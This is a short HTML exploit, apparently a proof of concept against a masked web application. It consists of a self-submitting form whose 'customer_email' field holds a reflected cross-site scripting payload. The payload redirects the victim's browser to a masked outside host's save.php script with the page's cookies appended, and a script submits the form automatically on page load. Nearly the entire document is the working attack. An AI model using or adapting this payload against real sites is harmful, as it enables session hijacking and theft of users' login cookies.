<form name="mainForm3" method="post" action="http://********/"> <input type="text" name="orderID" value="1"></p> <input type="text" name="customer_email" value='"><script>document.location.href="http://**.**.***.***/save.php?cookie="+document.cookie;</script>'> <input type="submit" name="find" value="Проверить статус"> </form> <script>document.mainForm3.submit();</script>